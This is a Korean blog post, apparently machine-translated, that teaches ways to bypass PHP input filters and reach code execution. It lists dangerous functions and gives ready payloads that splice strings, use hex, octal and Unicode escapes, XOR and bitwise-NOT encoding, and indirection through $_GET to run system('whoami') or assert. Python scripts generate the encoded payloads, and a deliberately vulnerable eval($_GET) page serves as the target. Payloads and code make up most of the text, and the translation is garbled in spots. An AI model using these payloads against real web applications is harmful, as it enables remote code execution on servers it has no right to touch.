코드 실행 함수
먼저 PHP에서 어떤 함수가 코드 실행 기능을 가지고 있는지 살펴본다.
eval()
가장 흔한 코드 실행 함수로 문자열 code를 PHP 코드로 실행한다.
eval ( string $code ) : mixed
assert()
단언 여부를 검사하기false
PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert()
단언 여부를 검사하기falseassert( )는 지정된 assertion을 체크하고 결과가 false일 때 적절한 행동을 취합니다.PHP5나 PHP7에서 assertion이 문자열일 경우 assert( )에 의해 PHP 코드로 실행된다.
preg_replace()+/e
정규 표현식 실행의 검색 및 대체
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
subject에서 pattern과 일치하는 부분을 검색하여 replacement로 대체한다.pattern의 패턴 수식자가 /e를 사용한다면 subject가 성공했을 때 replacement는 PHP 코드로 실행됩니다.
PS: preg_replace() + 함수의 / e 한정자가 PHP7에서 제거됨
create_function()
익명 (lambda 스타일) 함수 만들기
create_function ( string $args , string $code ) : string
전달된 매개 변수를 기준으로 익명 함수를 만들고 고유한 이름을 되돌려줍니다.payload를 create_function()에 전달하여 payload를 create_function( )에 전달하여 parameter나 함수체 폐쇄에 악성코드를 주입하여 코드를 실행할 수 있습니다
콜백 함수
array_map()
배열의 각 요소에 콜백 기능 적용
array_map ( callable $callback , array $array , array ...$arrays ) : array
반환 배열은 array 각 요소에 callback 함수를 적용한 배열입니다. array_map( )은 array1의 요소를 인덱스 순서대로 callback한 결과를 반환한다. callback 함수형 파라미터의 수는 array_map() 실제 파라미터의 배열 수와 일치해야 합니다
첫 번째 매개 변수를 콜백 함수로 불러오기
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
call_user_func_array()
콜백 함수를 호출하고 콜백 함수의 인수로 배열 인자를 사용합니다세다
call_user_func_array ( callable $callback , array $param_arr ) : mixed
array_filter()
배열의 셀을 콜백 함수로 필터링합니다
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
순차적으로 array 배열 내의 각 값을 callback 함수로 전달한다.callback 함수가 true를 반환하면 array 배열의 현재 값이 반환된 결과 배열에 포함됩니다.배열의 키 이름은 그대로 유지됩니다
usort()
사용자 정의 사용비교함수는 배열의 값을 정렬한다
usort ( array &$array , callable $value_compare_func ) : bool
PH > = 5.6 & PHP < 7일 때 php에 파라미터가 길어지는 특성이 있음
등등 아직 많은 함수 파라미터가 회조 가능하므로 일일이 열거하지 않는다.
이제 여러 가지 필터링 상황을 보고 우회 방법을 좀 더 자세히 알아보도록 하겠습니다.
문자열 스플라이싱 바이패스
문자열 스플라이싱 바이패스 특정 키워드를 필터링하는 데 사용되는 제한 사항
적용 PHP 버전 : PHP =77
Payload:
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......
PHP에서 따옴표(싱글 따옴표/더블 따옴표)는 문자열을 나타내기 위해 반드시 필요하지 않다.PHP는 $name= (string) mochu7과 같은 선언 요소의 유형을 지원합니다. 이 경우 $name은 문자열 "mochu7" 을 포함합니다. 선언 유형을 표시하지 않으면 PHP는 괄호 안의 데이터를 문자열로 처리합니다
문자열 이스케이프 바이패스
적용 PHP 버전:PHP =77
8진수로 나타내기\[0-7]{1,3} 이스케이프 문자회byte에 자동으로 맞추기 (예: "\400" == "\000")
16진법으로 \x[0-9A-Fa-f]{1,2} 이스케이프 문자 표기법 ('\x41'
Unicode로나타내는 \u{[0-9A-Fa-f]+}자, UTF-8 문자열 출력
여기서 전의를 한 후에 주의하시오문자는 반드시 큰따옴표로 전참을 감싸야 한다
Payload 위치스크립트는 다음과 같습니다.
# -*- coding:utf-8 -*-
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))
def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))
if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)
Payload
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......
또한, 8진법은 알파벳 없는 전삼을 우회하여 코드를 실행할 수 있다
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
여러 번 전삼이 우회하다.
적용 PHP 버전 : 제한 없음
따옴표(싱글따옴표/더블따옴표)를 거르면 됩니다.다음과 같은 방법으로 우회하다
GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);
cmd=$_POST[1]($_POST[2]);&1=system&2=whoami
PHP 버전이 7보다 크면 여기에 있는 필터 따옴표도 스플라이스 방식으로 무시할 수 있습니다
(sy.st.em)(whoami);
또한 파라미터의 길이가 제한되어 있는 경우, 파라미터의 길이 제한이나 콜백 함수를 여러 번 매개 변수를 통해 우회할 수도 있다
콜백 함수는 제한의 구체적인 길이를 대부분 볼 수 있으나, PHP > = 5.6 & PHP < 7의 경우 위의 필터링 방법은 우회할 수 있습니다
내장된 함수 접근 바이패스
PHP 버전에 적용:윈도 로컬 테스트는 PHP >=7로 성공할 수 있으며, PHP5 테스트는 오류를 보고했지만 반드시 사용할 수 없는 것은 아닙니다.
get_defined_functions(): 정의된 모든 함수를 반환합니다.
상세정보참조:https: // www.php.net/manual/zh/function.get-defined-functions.php
이런 방법을 이용하면 우선 갚아야 한다각 버전의 get_defined_functions()에서 반환되는 값이 다르기 때문에 PHP의 구체적인 버전을 알아야 합니다.여기는 php7.4.3 기준
배타적 우회
적용 PHP 버전 : 제한 없음
PHP에서 두 문자열이 배타적합한 후, 획득하나는 역시 문자열이다.
예:우리는 배타적이다? 그리고 ~하고 받을 수 있습니다.A다
문자:? ASCII 코드:63 이진법: 0011 1111
문자:~ ASCII 코드:126 이진법: 0111 1110
배타적 논리합 규칙:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
위의 두 글자 배타적 논리합은 이진법입니다: 0100 0001
이 이진법의 십진법 즉:65
대응하는 ASCII 사이즈는:A
다음은 예제를 보자
<?php
highlight_file(__FILE__);
error_reporting(0);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
echo "hacker!!";
}else{
eval($_GET['shell']);
}
?>
모든 영문자와 숫자를 필터링하였으나 ASCII 코드에는 영숫자 이외의 문자가 많이 포함되어 있음을 알고 있으며, 이를 이용하여 배타적이거나 원하는 문자를 얻을 수 있습니다.
PS: ASCII 표의 영숫자가 아닌 다른 문자를 취합니다. 일부 문자는 전체 문장의 실행에 영향을 줄 수 있으므로, 예를 들어 역따옴표, 홑따옴표를 지웁니다.
스크립트는 다음과 같습니다
# -*- coding: utf-8 -*-
payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist네ascii표의 영숫자가 아닌 모든 문자 소수점
str1,str2 = '',''
for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
한 번의 코드 실행으로 우리가 원하는 문장의 문자열만 얻을 수 있고, 문장이 실행되지 않기 때문에 두 번의 코드 실행이 필요합니다. 구성
assert($_GET[_]);
스크립트를 사용하여 모든 글자를 변환한 다음 스플라이싱합니다
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);
payload
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();
현지 테스트 결과, 이 방법은 php5 및 php7.0.9 버전에서 사용할 수 있습니다. assert()의 문제는 배타적이지 않거나 사용할 수 없기 때문입니다.
비고: PHP5 낮은 버전은 magic_quotes_gpc가 켜져 있기 때문에 사용할 수 없는 경우가 있습니다
문자 필터링 범위가 그리 넓지 않거나, 키워드만 필터링할 때 다음과 같은 스크립트를 사용할 수 있습니다.
# -*- coding: utf-8 -*-
import string
char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("('{}'^'{}')".format(tmp1,tmp2))
PS C:\Users\Administrator> php -r "var_dump('000000'^'CICDU]');"
Command line code:1:
string(6) "system"
인터넷에서 보던 페이로드 하나 더 올려주세요
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
URL 인코딩 반전
적용PHP 버전:무한제조하다
역시 위의 그 예제이다
PHP = 7일 때,반구조 payload를 그대로 활용할 수 있습니다
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"
Command line code:1:
string(21) "%8F%97%8F%96%91%99%90"
(~%8F%97%8F%96%91%99%90)();
#phpinfo();
파라미터가 있는
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"
payload
(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');
5<=7.0.9의 경우 한 번 더 구성된 문자를 실행해야 하므로 위의 배타적 논리합 방법을 참고한다
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);
'개발 꿀팁 > PHP' 카테고리의 다른 글
VSCode에 PHP 개발 환경 배치 방법(상세판) (0) | 2022.07.08 |
---|---|
php에 많이 쓰이는 7가지 프레임 (0) | 2022.07.08 |
Apache 2.2+MySql 5.5+PHP 5.4의 설치 및 구성(윈도) (0) | 2022.07.08 |
ThinkPHP 프레임워크 사용 빠른 사이트 개발(멀티맵) (0) | 2022.07.08 |
Nginx+Php-fpm 작동 원리 상세설명 (0) | 2022.07.07 |